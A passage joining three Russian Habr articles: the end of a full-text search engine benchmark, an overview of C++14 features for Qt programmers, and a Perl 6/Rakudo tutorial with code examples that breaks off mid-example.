Опять же, RediSearch оказался в среднем довольно медленным, и снова [RedisLabs](https://redislabs.com/blog/search-benchmarking-redisearch-vs-elasticsearch/) получили другие результаты. Еще один неожиданно медленный результат показал запрос из трех слов в Typesense.
Meilisearch показал довольно хорошую производительность, особенно для запросов с префиксами и опечатками.
Мы использовали нули для отображения неподдерживаемых типов запросов на графиках, но если приглядеться, видно, что RediSearch показал результат менее 1 мс (!) для запросов «точная фраза» и «три слова И».
Результаты в числах
-------------------
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Тест** | **Elasticsearch** | **RediSearch** | **PostgreSQL** | **TypeSense** | **MeiliSearch** |
| Индексирование | | | | | |
| - время | 268 | 516 | 290 | 272 | 42 (асинхр.) |
| - пропускная способность | 23644 | 12267 | 21827 | 23258 | 150284 |
| Запрос: 1 слово | 16,14 | 16,81 | 69,89 | 16,04 | 6,73 |
| Запрос: 3 слова | 4,07 | 0,95 | 2,61 | 224,36 | 11,57 |
| Запрос: 3 слова "ИЛИ" | 20,69 | 45,86 | 2,48 | - | - |
| Запрос: точная фраза | 3,16 | 0,64 | 9,85 | - | - |
| Запрос: 1 слово, автокомплит | 7,76 | 36,98 | 9,22 | 6,75 | 6,18 |
| Запрос с опечаткой | 19,81 | 58,17 | - | 14,61 | 5,84 |
Выводы
------
Elasticsearch по-прежнему остается королем поиска, он выдает стабильную производительность и для индексирования, и для всех типов запросов.
RediSearch имеет посредственную производительность индексации; также RedisLabs изо всех сил стараются продать свое облачное решение, поэтому документация не на высоте. Но эта система показывает минимальную задержку (менее миллисекунды) для некоторых типов запросов.
PostgreSQL показал странную "яму" производительности для простых запросов из одного слова, и интерфейс поиска довольно сложен. Хотя, если у вас уже есть база данных Postgres, встроенный поиск может быть неплохим решением для простых случаев.
У TypeSense неплохой набор функций, и производительность в целом тоже на высоте, за исключением странного провала при запросах из нескольких слов.
Кажущаяся высокая производительность MeiliSearch была вызвана ориентацией теста только на время ответа при индексировании, но Meili больше других полагается на асинхронную обработку. Мы не смогли провести тест с ожиданием индексации каждой порции данных, т.к. в таком режиме система оказалась мучительно медленной.
Дополнение: результаты Meilisearch и Typesense
----------------------------------------------
[Джейсон Боско](https://www.linkedin.com/in/jasonbosco/) из Typesense обратился к нам по поводу странных медленных выбросов с запросами из 3 слов и рекомендовал повторно запустить этот тест с параметром drop\_tokens\_threshold = 1, но мы получили в этом режиме похожие результаты (200+ мс). Мы также попробовали drop\_tokens\_threshold = 0 (по сути, превратив запрос в "ИЛИ"), это дало более высокую производительность.
То есть, по-видимому, замедление вызвано тем, что мы выбираем 3 случайных английских слова для запроса, и при отсутствии в индексе документов, содержащих все три слова Typesense начинает отбрасывать слова, пока не получает результат, и этот процесс не очень быстр.
Джейсон также отметил, что кажущаяся быстрая индексация Meilisearch на самом деле была вызвана асинхронностью запросов индексации. Мы обновили тест, чтобы он дожидался завершения индексирования каждой порции, но в таком режиме индексация занимает как-то невероятно много времени, так что, видимо, нам нужно повнимательнее изучить, как Meilisearch работает под капотом.
Дополнение для Хабра :)
-----------------------
Раз уж все скрипты были готовы, я в свободное время погонял те же тесты для более экзотических систем.
[**Sonic**](https://github.com/valeriansaliou/sonic)
Ужасно медленная индексация. Не дождался окончания теста, хоть он и работал всю ночь.
[**Toshi**](https://github.com/toshi-search/Toshi)
Индексация: 273 док/сек (настройки по умолчанию), 37631 док/сек с использованием недокументированного эндпоинта \_bulk для пакетной работы
Запрос 1 слово: 372 з/сек, 2.68 мс
Запрос 3 слова: 357 з/сек, 2.79 мс
Запрос 3 слова с опечатками: 325 з/сек, 3.07 мс
Неплохие в целом показатели, но для индексации обязательно нужно использовать \_bulk.
[**Quickwit**](https://quickwit.io/docs/getting-started/quickstart)
Индексация (из отдельно подготовленного файла с ndjson): 37085 док/сек
Запрос 1 слово: 324 з/сек, 3.08 мс
Запрос 3 слова: 324 з/сек, 3.08 мс `¯_(ツ)_/¯`
Неплохие показатели, но для индексации нужно заранее готовить данные.
[**Groonga**](https://groonga.org/)
Индексация: 77372 док/сек
Запрос 1 слово: 0.56 з/сек, 1782 мс
Запрос 3 слова: 0.50 з/сек, 1982 мс
*Очень* быстрая индексация, но *ОЧЕНЬ* медленный поиск.
Дополнение 2
------------
[**Reindexer:**](https://github.com/Restream/reindexer/blob/master/cpp_src/server/contrib/server.md)
Индексация - 30664 док/сек (правда, асинхронно)
| Запрос | QPS | avg | 50%% | 90%% | 99%% | 100%% |
| --- | --- | --- | --- | --- | --- | --- |
| 1 слово | 59.08 | 16.93 ms | 14.04 ms | 31.24 ms | 63.49 ms | 246.68 ms |
| 3 слова | 41.74 | 23.96 ms | 21.51 ms | 38.55 ms | 73.75 ms | 152.33 ms |
Документация выстроена неочевидно для человека со стороны и сильно "заточена" под использование как библиотеки для golang. Также в процессе "поймал" баг, когда невалидный utf-8 на входе прекрасно индексируется, но валится при поиске.
Также, это in-memory storage, т.е. объем данный жестко ограничен размером памяти (на моем тесте процесс потреблял около 9 Гб).
[**Manticore:**](https://manual.manticoresearch.com/Quick_start_guide)
Индексация - 4481 док/сек
| Запрос | QPS | avg | 50%% | 90%% | 99%% | 100%% |
| --- | --- | --- | --- | --- | --- | --- |
| 1 слово | 128.41 | 7.79 ms | 6.52 ms | 10.12 ms | 23.86 ms | 334.15 ms |
| 3 слова И | 313.55 | 3.19 ms | 2.76 ms | 3.76 ms | 8.36 ms | 84.96 ms |
| 3 слова ИЛИ | 73.05 | 13.69 ms | 9.94 ms | 17.78 ms | 106.00 ms | 274.99 ms |
| Точная фраза | 318.31 | 3.14 ms | 2.48 ms | 3.25 ms | 7.15 ms | 90.85 ms |
Неплохие показатели по поиску, но скорость индексации оставляет желать лучшего. | https://habr.com/ru/post/581394/ | null | ru | null |
# C++14 для Qt программистов
В этой статье описывается каким образом изменения, принесенные стандартом С++14, отразились или могут отразиться на разработке Qt приложений. Данная статья ориентирована не только на Qt программистов, но также на всех тех, кому интересно развитие С++. Автор оригинала — Olivier Goffart, являющийся одним из разработчиков Qt moc (meta-object compiler).
#### Обобщенные лямбда-функции
В С++11 были введены лямбда-функции, и Qt5 позволяет использовать их в сигналах. C++14 упрощает использование лямбда-функций, так как теперь тип аргументов может быть выведен автоматически, то есть стало возможным использование auto в качестве типа параметра вместо того, чтобы явно описывать этот тип:
```
connect(sender, &Sender::valueChanged, [=](const auto &newValue) {
receiver->updateValue("senderValue", newValue);
});
```
Лямбда-функция представляет собой функтор с реализованным оператором operator(). В обобщенных лямбда-функциях этот оператор объявлен как шаблонная функция. Я сделал изменения, которые поддерживают такие функторы и эти изменения были включены в Qt 5.1. C++14 также добавляет возможность захвата не только переменных, но и выражений:
```
connect(sender, &Sender::valueChanged, [receiver=getReceiver()](const auto &newValue) {
receiver->updateValue("senderValue", newValue);
});
```
#### Смягчение требований к константным выражениям
В С++11 было введено новое ключевое слово constexpr. В Qt 4.8 был введен новый макрос Q\_DECL\_CONSTEXPR, который разворачивается в constexpr, если это слово поддерживается компилятором. В Qt 5 этот макрос используется для большого количества функций, где это только представляется возможным.
В С++14 были смягчены требования, предъявляемые к константным выражениям. С++11 позволял использовать constexpr только с единственным оператором возврата и только в функциях-членах с модификатором const. С++14 позволяет намного больше, лишь бы вычисление могло происходить во время компиляции.
```
/*
Эта функция не скомпилируется в С++11, потому что состоит из нескольких компонентов, содержит цикл и внутреннюю переменную.
Но в С++14 это разрешено
*/
constexpr int myFunction(int v) {
int x = 1;
while (x < v*v)
x*=2;
return x;
}
```
Функции-члены класса, объявленные как constexpr в С++11 автоматически трактуются как константные, то есть, не изменяющие поля класса. В С++14 неконстантная функция-член класса тоже может быть constexpr. Результатом такого изменения стало то, что функции-члены классов, объявленные constexpr, но не имеющие явно указанного модификатора const, стали неконстантными в С++14, а это означает несовместимость на уровне бинарных файлов. К счастью, в Qt макрос Q\_DECL\_CONSTEXPR явно объявлял все функции-члены классов константными, поэтому никакого нарушения бинарной совместимости при его использовании нет.
Итак, теперь мы можем вычислять во время компиляции неконстантные функции классов, такие, например, как operator=. Для этого в Qt 5.5 будет введен новый макрос Q\_DECL\_RELAXED\_CONSTEXPR, который будет разворачиваться в constexpr, если компилятор в режиме С++14.
#### Небольшие изменения в С++14
Стандарт С++14 привнес некоторое количество небольших изменений, цель которых — сделать разработку более удобной. Эти изменения не имеют непосредственного влияния на Qt, но вполне могут быть использованы в Ваших программах, если используется компилятор с поддержкой С++14.
##### Разделители разрядов чисел
Если нужно определить большую константу в коде, можно использовать апостроф в качестве разделителя разрядов:
```
int i = 123'456'789;
```
##### Двоичные константы
В С++ можно определять десятичные, восьмеричные (начинающиеся с 0), и шестнадцатеричные (начинающиеся с 0x) константы. Теперь появилась возможность определять и двоичные константы, используя префикс 0b:
```
int i = 0b0001'0000'0001;
```
##### Автоматический вывод типа возвращаемого значения
Если у Вас есть встроенная (inline) функция, то Вы можете использовать ключевое слово auto в качестве указания возвращаемого типа, его теперь можно не указывать явно. Компилятор сам его выведет:
```
// возвращаемый тип будет выведен как 'int'
auto sum(int a, int b) { return a+b; }
```
Это, к сожалению, не поддерживается для Qt слотов или так называемых invocable методов, так как Qt moc не в состоянии сам определить возвращаемый тип.
##### Шаблонные переменные
Раньше было возможным сделать шаблонную функцию или класс. Сейчас можно сделать шаблонной и просто переменную.
```
template const T pi = 3.141592653589793;
/\*...\*/
float f = pi;
double d = pi;
```
##### Инициализация структур
В С++11 стало возможно инициализировать структуру, у которой нет определенного пользователем конструктора, списком инициализации (значения полей в фигурных скобках), а также появилась возможность присваивать нестатическим полям класса значения по умолчанию прямо в определении класса. Но в С++11 нельзя было использовать сразу оба этих варианта инициализации. В С++14 теперь можно. Этот код будет работать именно так, как и ожидается:
```
struct MyStruct {
int x;
QString str;
bool flag = false;
QByteArray str2 = "something";
};
// ...
// не скомпилируется в C++11 потому что MyStruct не POD
MyStruct s = { 12, "1234", true };
Q_ASSERT(s.str2 == "something");
```
#### Квалификаторы ссылок для методов классов
Это на самом деле было привнесено не в С++14, а еще в С++11, но мы начали использовать эти квалификаторы только в Qt5, и я не упоминал о них в предыдущих постах, поэтому поговорим о них сейчас.
Рассмотрим следующий код:
```
QString lower = QString::fromUtf8(data).toLower();
```
Здесь fromUtf8 возвращает временную переменную. Было бы неплохо, если бы метод toLower использовал уже выделенную память для этой временной переменной и выполнил в ней необходимые преобразования. Именно для подобных случаев и были введены квалификаторы ссылок для функций-членов классов.
Упрощенный код из qstring.h:
```
class QString {
public:
/* ... */
QString toLower() const &
{ /* ... возвращает копию со всеми символами в нижнем регистре ... */ }
QString toLower() &&
{ /* ... выполняет преобразования в исходной строке ... */ }
/* ... */
};
```
Обратите внимание на '&' и '&&' в конце методов toLower. Это квалификаторы ссылок и позволяют перегрузить функцию в зависимости от типа, на который указывает 'this', таким же образом, как квалификатор const позволяет перегрузить метод в зависимости от константности 'this'. В случае, когда toLower вызывается для временной переменной (rvalue) будет выбран второй метод (который с &&) и проведет изменения строки, не копируя ее.
Функции, которые были улучшены с помощью этих квалификаторов в Qt 5.4: QString::toUpper, QString::toLower, QString::toCaseFolded, QString::toLatin1, QString::toLocal8Bit, QString::toUtf8, QByteArray::toUpper, QByteArray::toLower, QImage::convertToFormat, QImage::mirorred, QImage::rgbSwapped, QVersionNumber::normalized, QVersionNumber::segment
#### Изменения в стандартной библиотеке
С++11 и С++14 добавили много конструкций в стандартную библиотеку, которые во многом перекликаются с имеющимися конструкциями в QtCore. В Qt стандартная библиотека используется очень мало. Мы вообще не хотим, чтобы стандартная библиотека была частью ABI. Это позволит оставаться бинарно совместимыми даже если стандартная библиотека изменится (например libstdc++ и libcpp). Также Qt до сих пор поддерживает некоторые старые платформы, на которых нет стандартной библиотеки С++11. По этим причинам мы ограничиваем использование этой библиотеки.
Но есть исключение — Qt5 объявляет свои алгоритмы устаревшими (deprecated) и сейчас рекомендуется использовать алгоритмы STL (например std::sort вместо qSort).
#### Заключение
Конечно, может пройти какое-то время, прежде чем Вы сможете использовать новые конструкции С++14 в своих проектах. Но я надеюсь, что вы начнете их применять как и многие другие (Qt Creator, KDE, LLVM). В новых компиляторах MSVC C++14 активен по умолчанию, в clang и gcc нужно использовать специальный флаг (на настоящий момент это -std=c++1y). С помощью qmake можно настроить свой проект на сборку с С++14 начиная с Qt5.4 используя следующую команду: CONFIG += c++14 | https://habr.com/ru/post/243981/ | null | ru | null |
# Perl 6 и Rakudo: заметки от 2009 года
*Серия статей о Perl 6 и Rakudo – одном из компиляторов, поддерживающих спецификацию Perl6. Эта статья собрана из заметок от 2009 года.*
#### Устанавливаем Rakudo
В данный момент существует несколько неполных реализаций Perl 6. Самая полная из них – это компилятор [Rakudo](http://en.wikipedia.org/wiki/Rakudo_Perl_6) ([скачать](http://rakudo.org/how-to-get-rakudo/)).
Пользователи git могут создать свою копию при помощи следующих команд:
```
$ git clone git://github.com/rakudo/rakudo.git
$ cd rakudo
$ perl Configure.pl --gen-parrot --gen-moar --gen-nqp --backends=parrot,jvm,moar
$ make
$ make install
```
Как вариант, можно собрать его из исходников, скачав их с [github.com/rakudo/rakudo/tree/nom](http://github.com/rakudo/rakudo/tree/nom)
Для Windows есть готовый установщик бинарников. Версии установщика и исходный код доступны [по ссылке](http://rakudo.org/downloads/star/)
Выполнив команду perl6, вы попадёте в REPL-среду, где сможете поиграть с различными командами языка.
```
$ perl6
> say "Hello world!";
Hello world!
> say (10/7).WHAT
(Rat)
> say [+] (1..999).grep( { $_ % 3 == 0 || $_ % 5 == 0 } );
233168
```
Строчки, начинающиеся с “>” – команды, а все остальные – ответы системы. Первый пример – простая инструкция “say”. Второй создаёт рациональное число и запрашивает его тип (Rat). Третий берёт список чисел от 1 до 999, отфильтровывает те, что не делятся на 3 или 5, складывает их и выводит результат.
#### Красота форматирования
В этой статье мы рассмотрим метод .fmt
Если вам знакома инструкция sprintf, то вам будет проще разобраться с .fmt. Если нет, или если вы подзабыли, как её использовать – почитайте perldoc. Но не углубляйтесь, просто просмотрите.
Итак, .fmt. Вот несколько способов использовать её для форматирования строк и целых чисел.
```
say 42.fmt('%+d') # '+42'
say 42.fmt('%4d') # ' 42'
say 42.fmt('%04d') # '0042'
say :16<1337f00d>.fmt('%X') # '1337F00D'
```
Хорошо, но пока что это всего лишь более короткий способ записи sprintf. Однако, при использовании с массивами (точнее, списками) оказывается, что этот метод работает по-другому:
```
say <эники беники вареники>.fmt # эники беники вареники
say <10 11 12>.fmt('%x') # 'a b c'
say <1 2 3>.fmt('%02d', '; ') # '01; 02; 03'
```
А вот его использование с хешами (мэппингами):
```
say { foo => 1, bar => 2 }.fmt # 'foo 1
# bar 2'
say { ‘Яблочки’ => 85, ‘Апельсинчики’ => 75 }.fmt('%s стоят по %d рубликов')
# 'Яблочки стоят по 85 рубликов
# Апельсинчики стоят по 75 рубликов '
say { ‘эники’ => 1, ‘беники’ => 2, ‘вареники’ => 3 }.fmt('%s', ' -- ')
# эники -- беники -- вареники
```
Правда, в случае с хешем порядок выдачи может отличаться от приведённого. Для пар также существует .fmt, но работает он так же, как и у хешей. .fmt – удобный инструмент для изменения значения или массива значений и приведения его к нужному формату. Похоже на sprintf, но работает и с массивами. Единственный минус – код получается слишком читабельным. Чтобы восстановить репутацию Perl как write-only языка, вот вам новогодний подарочек в виде однострочника, рисующего ёлочку:
```
$ perl6 -e 'say " "x 9-$_,"#"x$_*2-1 for 0..9,2 xx 3'
#
###
#####
#######
#########
###########
#############
###############
#################
###
###
###
```
Вариант для Windows (требуются другие кавычки):
```
> perl6.exe -e "say ' 'x 9-$_,'#'x$_*2-1 for 0..9,2 xx 3"
```
#### Статическая типизация и multi subs
В Perl 5 переменные $scalar могли содержать либо ссылку, либо значение. Значением могло быть что угодно – целое число, строка, нецелое число, дата. Гибкость за счёт потери в ясности.
В Perl 6 вводится статическая типизация. Если вам нужна переменная определённого типа, вы указываете этот тип при инициализации. К примеру, вот переменная, содержащая целое число:
```
my Int $days = 24;
```
Другие примеры типов:
```
my Str $phrase = "Всем привет!";
my Num $pi = 3.141e0;
my Rat $other_pi = 22/7;
```
Для использования переменных старого формата, можно либо не указывать тип, либо указать тип Any.
Вторая тема главы – multy subs. Это возможность перегрузить процедуру, используя одно и то же имя для разных случаев. Вот пример:
```
multi sub identify(Int $x) {
return "$x – это целое.";
}
multi sub identify(Str $x) {
return qq<"$x" – это строка.>;
}
multi sub identify(Int $x, Str $y) {
return "Целочисленное $x и строка \"$y\".";
}
multi sub identify(Str $x, Int $y) {
return "Строка \"$x\" и целое число $y.";
}
multi sub identify(Int $x, Int $y) {
return "Два целых числа - $x и $y.";
}
multi sub identify(Str $x, Str $y) {
return "Две строки - \"$x\" и \"$y\".";
}
say identify(42);
say identify("Это ж как круто!");
say identify(42, " Это ж как круто!");
say identify("Это ж как круто!", 42);
say identify("Это ж как круто!", "Неимоверно!");
say identify(42, 24);
```
Результат:
```
42 – это целое.
"Это ж как круто!" – это строка.
Целочисленное 42 и строка " Это ж как круто!".
Строка "Это ж как круто!" и целое число 42.
Две строки - "Это ж как круто!" и "Неимоверно!".
Два целых числа - 42 и 24.
```
#### Тестирование
Авторы perl-модулей привыкли поставлять вместе с модулями, которые они выпускают в мир, набор тестов. Эта традиция поддерживается в perl 6 через особые инструкции.
Классический способ написания тестов в perl – выводить данные по протоколу Test Anything Protocol. Но не обязательно делать это вручную — можно использовать модуль.
Допустим, у вас есть функция факториала:
```
sub fac(Int $n) {
[*] 1..$n
}
```
Пока неважно, как она работает – мы просто хотим узнать, работает ли она правильно. Давайте проверим:
```
use v6;
sub fac(Int $n) {
[*] 1..$n
}
use Test;
plan 6;
is fac(0), 1, 'fac(0) работает';
is fac(1), 1, 'fac(1) работает ';
is fac(2), 2, 'fac(2) работает ';
is fac(3), 6, 'fac(3) работает ';
is fac(4), 24, 'fac(4) работает ';
dies_ok { fac('ёперный театр, да это же строка') }, 'Можно использовать только со строчками';
```
Запустим:
```
$ perl6 fac-test.pl
1..6
ok 1 - fac(0) работает
ok 2 - fac(1) работает
ok 3 - fac(2) работает
ok 4 - fac(3) работает
ok 5 - fac(4) работает
ok 6 - Можно использовать только со строчками
```
Подробнее: use Test; загружает модуль тестирования, plan 6; объявляет запуск шести тестов. Затем идут пять строк в формате «что есть», «что ожидаем получить», «описание». is() сравнивает строки, и поскольку целые числа автоматически преобразуются в строки, всё получается.
В конце dies\_ok { $some\_code }, $description мы проверяем, что вызов функции с аргументом, не являющимся целым числом, приводит к ошибке.
Выдача теста указывает, что запускаются 6 тестов, и затем в каждой строке выводит результаты тестов (ok – если прошёл, not ok – если провалился), номер теста и описание.
При запуске большого числа тестов не хочется просматривать их все подробно, а хочется увидеть итоги. Команда prove делает именно это:
```
prove --exec perl6 fac-test.pl
fac-test.pl .. ok
All tests successful.
Files=1, Tests=6, 11 wallclock secs ( 0.02 usr 0.00 sys + 10.26 cusr 0.17 csys = 10.45 CPU)
Result: PASS
```
Принято складывать файлы тестов в отдельный каталог t/ и запускать prove рекурсивно на всех файлах из каталога с расширением .t:
```
prove --exec perl6 -r t
```
Если вы разместите эту строчку в Makefile, то можно будет просто набрать make test для прогона тестов.
#### Метаоператоры
Ранее мы видели интересную реализацию функции факториала:
```
sub fac(Int $n) {
[*] 1..$n
}
```
Но как это работает? У Perl 6 есть несколько метаоператоров, изменяющих существующие операторы, которые становятся более мощными. Квадратные скобки представляют собой метаоператор reduce, который помещает оператор, указанный внутри скобок, между всеми элементами списка. Например,
```
[+] 1, $a, 5, $b
```
означает то же самое, что и
```
1 + $a + 5 + $b
```
Таким образом, мы легко можем суммировать элементы списка:
```
$sum = [+] @a; # суммировать элементы списка @a
```
Практически все операторы можно поместить в квадратные скобки:
```
$prod = [*] @a; # перемножение элементов @a
$mean = ([+] @a) / @a; # подсчёт среднего значения @a
$sorted = [<=] @a; # истина, если элементы @a отсортированы по возрастанию
$min = [min] @a, @b; # найти наименьший элемент из всех элементов @a и @b
```
Поэтому, в факториале выражение [\*] 1..$n принимает значение перемноженных элементов списка от 1 до $n.
Ещё один метаоператор – hyper. Разместив » или « (или их ASCII аналоги >> и <<) рядом с оператором, мы заставляем его работать на всех элементах списка. Например, следующее выражение делает @c результатом попарного сложения элементов @a и @b:
```
@c = @a »+« @b;
```
В Perl 5 нам бы пришлось писать нечто вроде
```
for ($i = 0; $i < @a; $i++) {
$c[$i] = $a[$i] + $b[$i];
}
```
hyper используется на разных операторов, включая операторы, определяемые пользователем:
```
# увеличить все элементы @xyz на 1
@xyz»++
# каждый из элементов @x будет минимальным из соответствующих элементов @a и @b
@x = @a »min« @b;
```
Вместо массивов можно использовать скаляры:
```
# умножить каждый элемент @a на 3.5
@b = @a »*» 3.5;
# умножить каждый элемент @x на $m и добавить $b
@y = @x »*» $m »+» $b;
# инвертировать все элементы @x
@inv = 1 «/« @x;
# добавить к @last @first и получить @full
@full = (@last »~» ', ') »~« @first;
```
Конечно, reduce и hyper можно комбинировать:
```
# сумма квадратов элементов @x
$sumsq = [+] ( @x »**» 2);
```
Есть ещё много метаоператоров, например X (cross), R (reverse), S (sequential). Вообще говоря, операторы вроде +=, \*=, ~= уже являются мета-формами операторов, к которым добавляется знак равенства:
```
$a += 5; # то же, что и $a = $a + 5;
$b //= 7; # то же, что и $b = $b // 7;
$c min= $d; # то же, что и $c = $c min $d;
```
Выходим в гиперпространство
Перед тем, как мы продолжим изучение метаоператоров, введём вспомогательную функцию lsay, которая выводит красиво отформатированные списки. Определяя её через our вы затем сможете использовать её в REPL-среде:
```
our sub lsay(@a) { @a.perl.say }
```
Начнём с простого: складываем два списка одинаковой длины:
```
> lsay (1, 2, 3, 4) <<+>> (3, 1, 3, 1)
[4, 3, 6, 5]
> lsay (1, 2, 3, 4) >>+<< (3, 1, 3, 1)
[4, 3, 6, 5]
```
Если длины списков совпадают, оба варианта записи идентичны. Но если их длины отличаются:
```
> lsay (1, 2, 3, 4) <<+>> (3, 1)
[4, 3, 4, 5]
> lsay (1, 2, 3, 4) >>+<< (3, 1)
# не работает
```
Правило такое: то, на что указывает острый конец гипероператора, может быть продлено, если оно короче того, что находится на другом его конце. Продление происходит через повторение последнего элемента списка. То, на что указывает «тупой» конец, продлению не подлежит. Возможны все комбинации, например, когда продлению подлежит только левая сторона (<<+<<), только правая (>>+>>), обе стороны (<<+>>), или никакая из сторон (>>+<<). Одиночные скаляры тоже можно продлять:
```
> lsay (1, 2, 3, 4) >>+>> 2
[3, 4, 5, 6]
> lsay 3 <<+<< (1, 2, 3, 4)
[4, 5, 6, 7]
```
Это азы использования гипероператоров. Также их можно использовать с постфиксными и префиксными операторами:
```
> lsay ~<<(1, 2, 3, 4)
["1", "2", "3", "4"]
> my @a= (1, 2, 3, 4); @a>>++; lsay @a;
[2, 3, 4, 5]
```
Также возможно:
```
> lsay (0, pi/4, pi/2, pi, 2*pi)>>.sin
[0, 0.707106781186547, 1, 1.22464679914735e-16, -2.44929359829471e-16]
> lsay (-1, 0, 3, 42)>>.Str
["-1", "0", "3", "42"]
```
В данном случае >>. вызывает метод у каждого элемента списка.
Если вам хочется написать [array](https://habrahabr.ru/users/array/)>>.say, то лучше не надо. Использование гипероператоров подразумевает, что операцию возможно выполнять параллельно, а порядок операций на списке не фиксирован.
Гипероператоры работают не только со встроенными операторами. Можно определить свой оператор, и с ним они также будут работать. Они должны работать (но пока не работают) с in-place операторами – например, инструкция @a >>/=>> 2 должна поделить весь массив на 2. Они работают с многомерными списками, деревьями и хешами. Интересным примером использования гипероператоров является класс Vector
[github.com/LastOfTheCarelessMen/Vector/blob/master/lib/Vector.pm](http://github.com/LastOfTheCarelessMen/Vector/blob/master/lib/Vector.pm)
который представляет реализацию многомерных векторов без единого цикла.
#### Циклы
Любому программисту известно, насколько полезны циклы. Частым примером использования циклов является цикл foreach для прохода по массивам. Именно таким ключевым словом мы пользовались в Perl 5, хотя можно было использовать и for, больше напоминающее стиль C.
В Perl 6 всё по-другому.
Теперь для прохода по спискам используется for. foreach больше нет, а для C-стиля используется слово loop. Пока мы рассмотрим только for, которая представляет собой новое, гибкое и мощное свойство языка:
```
for 1, 2, 3, 4 { .say }
```
Сразу заметно отсутствие скобок вокруг списка. Обычно в Perl 6 нужно меньше скобок, чем в Perl 5. Переменная по умолчанию, как и в Perl 5, это $\_. Вызов метода без указания переменной означает вызов метода $\_, то есть в нашем случае — $\_.say. Нельзя использовать say без аргументов – нужно писать либо .say, либо $\_.say
Вместо простого блока можно использовать «заострённый» блок, позволяющий задать имя переменной цикла:
```
for 1, 2, 3, 4 -> $i { $i.say }
```
«Заострённый» блок напоминает анонимную процедуру, он только не ловит исключения. И если вы напишете return внутри такого блока, то произойдёт выход из всей процедуры, которая его вызвала. Такие блоки принимают больше одного параметра. А что произойдёт, если написать так:
```
for 1, 2, 3, 4 -> $i, $j { "$i, $j".say }
```
При запуске вы получите:
```
1 2
3 4
```
То есть, вы прошли по списку, перебирая по два элемента за раз. Это работает с любым количеством параметров (минимум – один, а при его отсутствии подразумевается $\_). Хорошо, а что насчёт создания списка, по которому мы проходим? Конечно, можно использовать переменную массива:
```
for @array { .say }
```
Но в простых случаях мы можем вместо этого использовать map:
```
@array.map: *.say;
```
Или гипероператор, если нам не важна последовательность:
```
@array».say;
```
Но мы сейчас не об этом. Создать список можно через оператор промежутка <..>:
```
for 1..4 { .say }
```
Часто необходимо создать список из $n чисел, начинающийся с 0. Можно было бы написать 0..$n-1 или использовать конструктор промежутков 0..^$n, но в Perl 6 есть и более короткий способ через перфикс ^:
```
for ^4 { .say }
```
На выходе получим:
```
0
1
2
3
```
Причин использования циклов в стиле C – нужно знать, на каком из элементов списка мы сейчас находимся, или нужно проходить по нескольким массивам одновременно. У Perl 6 есть и для этого короткая запись через оператор Z (zip):
```
for @array1 Z @array2 -> $one, $two { ... }
```
Если у обоих массивов одинаковая длина, $one пройдёт по всем элементам @array1, а $two по всем соответствующим элементам @array2. Если длина разная, цикл останавливается, дойдя до конца наиболее короткого. Таким образом, можно включить индекс массива в цикл вот так:
```
for ^Inf Z @array -> $index, $item { ... }
```
Если бесконечные списки вам не по душе:
```
for ^@array.elems Z @array -> $index, $item { ... }
```
что приведёт к тому же результату, но самый элегантный вариант – это
```
for @array.kv -> $index, $item { ... }
```
[array](https://habrahabr.ru/users/array/).kv возвращает ключи и значения, а для массива ключи – это как раз индексы элементов.
Таким образом можно проходить хоть по четырём массивам одновременно:
```
for @one Z @two Z @three Z @four -> $one, $two, $three, $four { ... }
```
#### Ограничения параметров и .comb
Как статические типы ограничивают значения переменной, так и ограничения (constraints) позволяют регулировать работу процедур и методов. Во многих ЯП необходимо передавать параметры в процедуру и проверять получаемые значения. С ограничениями проверку можно вести прямо при объявлении. Пример: нам не нужны чётные числа. В Perl 5 можно было бы написать так:
```
sub very_odd
{
my $odd = shift;
unless ($odd % 2)
{
return undef;
}
# Работаем с нечётным числом
}
```
В Perl 6 можно сделать проще:
```
sub very_odd(Int $odd where {$odd % 2})
{
# Работаем с нечётным числом
}
```
Если вызвать very\_odd с чётным параметром, вы получите ошибку. Для удобства можно перезагрузить процедуры, и работать с любыми числами:
```
multi sub very_odd(Int $odd where {$odd % 2})
{
# Работаем с нечётным числом
}
multi sub very_odd(Int $odd) { return Bool::False; }
```
Ограничения параметров удобно использовать в паре с методом .comb. Что такое .comb? (comb – расчёска). В случае с волосами и расчёской вы разделяете пряди и укладываете их на голове. .comb – это противоположность .split. Если последний метод позволяет разделять строку по тем элементам, которые вам не нужны, то .comb разделяет её по нужным элементам. Вот простой пример:
```
say "Perl 6 Advent".comb(//).join('|');
say "Perl 6 Advent".comb(/+/).join('|');
```
Первая строчка выдаёт “P|e|r|l|A|d|v|e|n|t”: она берёт каждую букву и помещает её во временный массив, который затем объединяется через “|”. Вторая строка действует похоже, только там захватывается наибольшее возможное количество букв подряд, и в результате получается “Perl|Advent”.
Но .comb гораздо мощнее. После того, как вы причесали строку, вы можете манипулировать прядями. Если у вас есть строка из символов ASCII, вы можете использовать гипероператоры, чтобы заменить каждый кусочек на ASCII-эквивалент:
```
say "5065726C36".comb(/\*\*2/)».fmt("0x%s")».chr
# Выдаёт "P e r l 6"
```
Можно написать это и через метод .map:
```
say "5065726C36".comb(/\*\*2/).map: { chr '0x' ~ $\_ } ;
# Выдаёт "P e r l 6"
```
Как обычно, есть больше одного способа сделать что-либо.
А вот задачка посложнее: представляю вам древний [шифр Цезаря](https://ru.wikipedia.org/wiki/Шифр_Цезаря) через ограничения параметров, .comb и .map
```
use v6;
sub rotate_one( Str $c where { $c.chars == 1 }, Int $n ) {
return $c if $c !~~ //;
my $out = $c.ord + $n;
$out -= 26 if $out > ($c eq $c.uc ?? 'Z'.ord !! 'z'.ord);
return $out.chr;
}
sub rotate(Str $s where {$s.chars}, Int $n = 3)
{
return ($s.comb.map: { rotate\_one( $\_, $n % 26 ) }).join( '' );
}
die "Использование:\n$\*PROGRAM\_NAME строка количество\_ротаций" unless @\*ARGS == 2;
my Str $mess = @\*ARGS[0];
my Int $rotate = @\*ARGS[1].Int;
say qq|"$mess" после $rotate ротаций выглядит как "{rotate($mess,$rotate)}".|;
```
#### Красивые аргументы и параметры
В Perl 5 работа с параметрами строится через @\_:
```
sub sum {
[+] @_
}
say sum 100, 20, 3; # 123
```
[+] – инструкция из Perl 6, но если мы напишем
```
my $i = 0; $i += $_ for @_; $i
```
то это будет работать в Perl 5. В Perl 6 так же, как и в Perl 5, параметры, переданные в процедуру, доступны через массив @\_. Система очень гибкая и не накладывает ограничений на параметры. Но это довольно муторный процесс, особенно при необходимости проверить:
```
sub grade_essay {
my ($essay, $grade) = @_;
die 'Первый аргумент должен иметь тип Essay'
unless $essay ~~ Essay;
die ‘Второй аргумент должен быть целым от 0 до 5'
